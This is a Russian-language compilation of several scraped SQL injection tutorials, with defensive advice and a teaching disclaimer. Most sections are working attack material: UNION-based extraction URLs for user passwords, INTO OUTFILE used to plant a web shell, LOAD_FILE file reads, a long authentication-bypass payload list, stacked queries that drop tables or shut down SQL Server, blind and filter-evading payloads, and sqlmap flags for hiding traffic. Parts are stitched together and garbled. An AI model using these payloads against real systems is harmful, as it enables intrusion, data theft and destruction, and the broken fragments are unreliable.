SQL инъекция — это атака, которая задействует динамические операторы SQL , вынося в комментарии определенные части инструкций или добавляя условие, которое всегда будет истинным. Она нацелена на дыры в архитектуре веб-приложений и использует операторы SQL для выполнения вредоносного SQL-кода :
В этой статье мы рассмотрим методы, используемые при SQL-инъекциях и способы защиты веб-приложений от таких атак.
Как работает SQL-инъекция
Типы атак, которые могут быть выполнены с использованием SQL-инъекции , различаются по типу поражаемых механизмов базы данных. Атака нацеливается на динамические операторы SQL . Динамический оператор — это оператор, который создается во время выполнения на основе параметров из веб-формы или строки запроса URI .
Рассмотрим простое веб-приложение с формой входа. Код HTML-формы приведен ниже:
- Форма принимает адрес электронной почты, а затем пароль отправляется в файл PHP с именем index.php ;
- Сессия хранится в файле cookie . Эта возможность активируется при установке флажка remember_me . Для отправки данных используется метод post . Это означает, что значения не отображаются в URL-адресе .
Предположим, что запрос для проверки идентификатора пользователя на стороне сервера выглядит следующим образом:
Mencoba SQLMap, Pentest Tool untuk SQL Injection
SELECT * FROM users WHERE email = $_POST[’email’] AND password = md5($_POST[‘password’]);
- Запрос использует значения массива $ _POST[] напрямую, не санируя его;
- Пароль шифруется с использованием алгоритма MD5 .
Мы рассмотрим атаку с использованием SQL инъекции sqlfiddle . Откройте в браузере URL-адрес http://sqlfiddle.com/ . На экране появится следующее окно.
Примечание : вам нужно будет написать инструкции SQL :
Шаг 1. Введите этот код в левую панель:
Шаг 2. Нажмите кнопку « Build Schema ».
Шаг 3. Введите приведенный ниже код в правой панели:
select * from users;
Шаг 4. Нажмите « Run SQL ». Вы увидите следующий результат:
Приведенный выше код SQL инъекции примера может быть обойден путем выведения в комментарии части пароля и добавления условия, которое всегда будет истинным. Предположим, что злоумышленник подставляет следующие данные в поле адреса электронной почты:
и xxx в поле пароля.
Сгенерированный динамический оператор будет выглядеть следующим образом:
0; ‘ AND … — это комментарий SQL , который исключает часть пароля.
Скопируйте приведенный выше запрос и вставьте его в текстовое поле SQL FiddleRun SQL , как показано ниже:
Хакерская активность: SQL-инъекции в веб-приложения
У нас есть простое веб-приложение, доступное по адресу http://www.techpanda.org/ , которое специально сделано уязвимым для атак с использованием SQL инъекций для новичков в демонстрационных целях. Код HTML-формы , приведенный выше, взят со страницы авторизации данного приложения.
Оно обеспечивает базовую безопасность, такую как санация поля электронной почты. Это означает, что приведенный выше код не может использоваться для обхода данного механизма.
Чтобы обойти его, можно использовать поле пароля. На приведенной ниже диаграмме показаны шаги, которые нужно выполнить:
Предположим, что злоумышленник предоставляет следующие данные:
Нажимает кнопку « Отправить ».
Он будет направлен в панель администрирования. Сгенерированный запрос будет выглядеть следующим образом:
На приведенной ниже диаграмме показано, как запрос был сгенерирован:
- В запросе предполагается, что используется шифрование md5 ;
- Используется закрывающаяся одиночная кавычка и скобка;
- К оператору добавляется условие, которое всегда будет истинным.
Как правило, злоумышленники для достижения своих целей пытаются применить в атаке с использованием SQL инъекций несколько различных методов.
Другие типы атак с использованием SQL-инъекций
SQL-инъекции могут нанести гораздо больший ущерб, чем вход в систему в обход механизма авторизации. Некоторые из таких атак могут:
- Выполнить удаление данных;
- Выполнить обновление данных;
- Выполнить добавление данных;
- Выполнить на сервере команды, которые будут загружать и устанавливать вредоносные программы;
- Выполнить экспорт на удаленный сервер злоумышленника ценных данных, таких как реквизиты кредитной карты, электронная почта и пароли.
Приведенный выше список не является полным. Он просто дает представление о том, какую опасность представляют SQL-инъекции .
Инструменты для автоматизации SQL-инъекций
В приведенном выше примере мы использовали методы ручной атаки. Перед тем, как сделать SQL инъекцию , нужно понимать, что существуют автоматизированные инструменты, которые позволяют выполнять атаки эффективнее и быстрее:
- SQLSmack ;
- SQLPing 2 ;
- SQLMap .
Защита от SQL инъекций
Вот несколько простых правил, которые позволят защититься от атак с использованием SQL-инъекций :
Ввод пользовательских данных не должен быть доверенным . Его всегда нужно санировать, прежде чем данные будут использоваться в динамических операциях SQL.
Хранимые процедуры — они могут инкапсулировать SQL-запросы и обрабатывать все входные данные в качестве параметров.
Подготовленные запросы — сначала создаются запросы, а затем все предоставленные пользовательские данные обрабатываются в качестве параметров. Это не влияет на синтаксис инструкции SQL .
Регулярные выражения — могут быть использованы для обнаружения потенциально вредоносного кода и его удаления перед выполнением операторов SQL .
Права доступа на подключение к базе данных – чтобы защититься от SQL инъекций , учетным записям, которые используются для подключения к базе данных, должны предоставляться только необходимые права доступа. Это поможет ограничить действия, которые SQL-операторы могут выполнять на сервере.
Сообщения об ошибках — не должны раскрывать конфиденциальную информацию. Простые пользовательские сообщения об ошибках, такие как « Извините, возникла техническая ошибка. Служба поддержки уже уведомлена о ней. Повторите попытку позже », можно использовать вместо отображения запросов SQL , вызвавших ошибку.
Хакерская активность: использование для SQL-инъекций Havij
В этом практическом сценарии мы собираемся использовать программу Havij Advanced SQL Injection для сканирования уязвимостей сайта.
Примечание . Ваша антивирусная программа может реагировать на эту программу в силу ее природы. Поэтому необходимо добавить ее в список исключений или приостановить работу антивирусного программного обеспечения:
Упомянутый выше инструмент можно использовать для оценки уязвимости / приложения.
Заключение
- SQL инъекции — это тип атак, который задействует ненадежные запросы SQL ;
- SQL-инъекции могут использоваться для обхода алгоритмов авторизации, извлечения, вставки, обновления и удаления данных;
- Перечень инструментов для SQL-инъекций включает в себя SQLMap , SQLPing и SQLSmack и другие;
- Продуманная политика безопасности при написании запросов поможет защититься от атаки с использованием SQL-инъекций .
Источник: www.internet-technologies.ru
SQL injection для начинающих. Часть 1
Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться.
В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.
Предисловие
Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.
Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры — как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.
Что же такое SQL инъекция?
Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:
Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни 🙂 Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.
Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php
Поиск SQL injection
Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!
Числовой входящий параметр
Для практики нам понадобится скрипт index1.php. Как я уже говорил выше, подставляем кавычки в ID новости.
Т.к. у нас запрос не имеет фильтрации:
$id = $_GET[‘id’]; $query = «SELECT * FROM news WHERE поймет это как
SELECT * FROM news WHERE color=»#ff0000″>’
И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:WebServdomainssqlinjindex1.php on line 16
Если ошибку не выдало — могут быть следующие причины:
1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.
Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.
Строковой входящий параметр
Запросы будем посылать на index2.php. В данном файле, запрос имеет вид:
$user = $_GET[‘user’]; $query = «SELECT * FROM news WHERE user=’$user'»;
Тут мы делаем выборку новости по имени пользователя, и опять же — не фильтруем.
Опять посылаем запрос с кавычкой:
Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит — приступим к практике.
Приступаем к действиям
Немного теории
Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак » — » считается комментарием в языке SQL.
ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20
Всё, что идет после комментария — будет отброшено То есть запрос:
SELECT * FROM news WHERE user=’AlexanderPHP’ — habrahabra
Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:
Выучите параметр UNION. В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.
Извлекаем из этого пользу
Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php.
Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.
Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.
Подбираем количество полей
Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.
GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY
Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:
sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.
Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5
Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.
Вывод данных
Допустим мы знаем, что еще существует таблица users в которой существуют поля id, name и pass.
Нам нужно достать Информацию о пользователе с построим такой запрос:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE >
Скрипт также продолжает выводить
Для этого, мы подставим название полей, за место цифр 1 и 3
sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE >
Получили то — что требовалось!
Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1′ UNION SELECT name,2,pass,4,5 FROM users WHERE —%20
Чтение/Запись файлов
Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1′ UNION SELECT 1,2,3,4,5 INTO OUTFILE ‘1.php’ —%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1′ UNION SELECT 1,»,3,4,5 INTO OUTFILE ‘1.php’ —%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE, за место того поля, которое мы выбираем:
sqlinj/index2.php?user=-1′ UNION SELECT 1,LOAD_FILE(‘1.php’),3,4,5 —%20
Таким образом, мы прочитали предыдущий записанный файл.
Способы защиты
Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET[‘id’];
Как подсказал пользователь malroc. Защищаться использованием PDO или prepared statements.
Вместо завершения
На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.
Источник: habr.com
Home
SQL injection — это уязвимость, в которой злоумышленник создает или изменяет текущие SQL-запросы для отображения скрытых данных, их изменения или даже выполнения опасных команд операционной системы на стороне сервера базы данных. Атака выполняется на базе приложения, строящего SQL-запросы из пользовательского ввода и статических параметров.
SQLmap — это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатирования уязвимостей SQL-инъекций и захват серверов баз данных.
Команды для работы с приложением:
-u для указания URL
-random-agent для снижения подозрительной активности
-tor для использования защищенного канала
-dbs смотрим какие базы доступны
-table смотрим таблицу
-columns смотрим колонки
-dump скачиваем путь к базе
-current-user инфо базы данных, включая ее название, номер версии, а также текущего пользователя
-passwords сохраненные пароли в базе
-level Эта опция требует аргумента, который определяет уровень тестов для выполнения. Существует пять уровней. Значение по умолчанию — 1, где выполняется ограниченное количество тестов (запросов). Напротив, уровень 5 будет тестировать гораздо больше скриптов и границ. Полезные значения, используемые sqlmap, указаны в текстовом файле xml / payloads.xml.
Следуя инструкциям, если sqlmap пропускает инъекцию, вы должны иметь возможность добавлять свою собственный полезный скрипт для тестирования тоже! Что проверяется при разном уровне тестирования:
1) запросы GET и POST level 1
2) значения заголовка HTTP Cookie тестируются в level 2
3) значение HTTP-агента User-Agent / Referer проверяется на level 3
В целом, чем сложнее обнаружить инъекцию SQL, тем выше должен быть установлен уровень. Настоятельно рекомендуется увеличить это значение, прежде чем сообщать в список рассылки, что sqlmap не может обнаружить определенную точку входа.
-risk Эта опция требует аргумента тоже, который определяет риск выполнения тестов. Существует три значения риска. Значение по умолчанию равно 1, что является безобидным для большинства точек ввода SQL. Значение риска 2 добавляет к уровню по умолчанию тесты для сильных SQL-запросов, основанных на запросах, и значение 3 добавляет также тесты SQL-инъекций на основе OR.
В некоторых случаях, например, SQL-инъекция в инструкции UPDATE, инъекция полезной нагрузки на основе OR может привести к обновлению всех записей таблицы, что, конечно же, не так, как хочет злоумышленник. Согласно предыдущей опции скрипты для применения этой опции лежат в текстовом файле xml / payloads.xml, и вы можете свободно редактировать и добавлять свои собственные.
Как защитится:
1. Не помещать в БД данные без обработки.
2. Не помещать в запрос управляющие структуры и идентификаторы, введенные пользователем.
3. Добавить капчу
4. Ввести лимиты на поступление запросов с одного IP
И помните все показанное выше, сделано в целях обучения. Можно применять только на своих проектах, после разрешения.
Источник: www.software-testing.ru
Sql injection tool что это за программа
userName = getRequestString(«UserName»); request = «SELECT * FROM Users WHERE UserName = » + userName;
Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.
Комментирование
Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’— позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.
SELECT * FROM members WHERE username = ‘admin’—‘ AND password = ‘password’
Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:
DROP/*some comment*/sampletable DR/**/OP/*random comment to cheat*/sampletable
А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:
/*!Если поместить код в такой комментарий — он будет исполнен только в MYSQL. Можно даже ограничить минимальную версию*/ такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии SELECT /*!!50100 1/0, */ 1 FROM tablename
Манипуляции со строками
Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:
#SQL Server SELECT login + ‘-‘ + password FROM members #MySQL SELECT CONCAT(login, password) FROM members
В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:
//0x633A5C626F6F742E696E69 == c:boot.ini SELECT CONCAT(‘0x’,’633A5C626F6F742E696E69′)) SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
Обход аутентификации
Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:
‘ or 1=1 ‘ or 1=1— ‘ or 1=1# ‘ or 1=1/* admin’ — admin’ # admin’/* admin’ or ‘1’=’1 admin’ or ‘1’=’1′— admin’ or ‘1’=’1’# admin’ or ‘1’=’1’/* admin’or 1=1 or »=’ admin’ or 1=1 admin’ or 1=1— admin’ or 1=1# admin’ or 1=1/* admin’) or (‘1’=’1 admin’) or (‘1’=’1′— admin’) or (‘1’=’1’# admin’) or (‘1’=’1’/* admin’) or ‘1’=’1 admin’) or ‘1’=’1′— admin’) or ‘1’=’1’# admin’) or ‘1’=’1’/* 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055 admin» — admin» # admin»/* admin» or «1»=»1 admin» or «1»=»1″— admin» or «1»=»1″# admin» or «1»=»1″/* admin»or 1=1 or «»=» admin» or 1=1 admin» or 1=1— admin» or 1=1# admin» or 1=1/* admin») or («1″=»1 admin») or («1″=»1″— admin») or («1″=»1″# admin») or («1″=»1″/* admin») or «1»=»1 admin») or «1»=»1″— admin») or «1»=»1″# admin») or «1»=»1″/* 1234 » AND 1=0 UNION ALL SELECT «admin», «81dc9bdb52d04dc20036dbd8313ed055
Union injection
UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.
Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.
SELECT name, price FROM products UNION ALL SELECT name, pass FROM members #Такой запрос позволит получить данные о таблицах и найти таблицу пользователей UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables)
Последовательные запросы
Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:
#Удаление таблицы SELECT * FROM products WHERE productName = «»; DROP users— #Выключение SQL Server SELECT * FROM products WHERE productName = «»; shutdown –
Возможный урон
Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.
Error-Based
Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.
Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:
‘ HAVING 1=1 — ‘ GROUP BY table.columnfromerror1 HAVING 1=1 — ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 — . ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — Если ошибки перестали появляться, значит столбцы закончились
Слепые инъекции
В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.
Условные выражения
Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:
#MySQL IF(condition,true-part,false-part) #SQL Server IF condition true-part ELSE false-part #Oracle BEGIN IF condition THEN true-part; ELSE false-part; END IF; END; #PostgreSQL SELECT CASE WHEN condition THEN true-part ELSE false-part END;
Boolean-based
Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:
TRUE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78— #Этот запрос говорит нам, что ASCII-значение первого символа больше 78 #дальнейший перебор определит точное значение
Time-Based
Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:
SELECT * FROM products WHERE WAIT FOR DELAY ’00:00:15′
Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.
Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.
Источник: proglib.io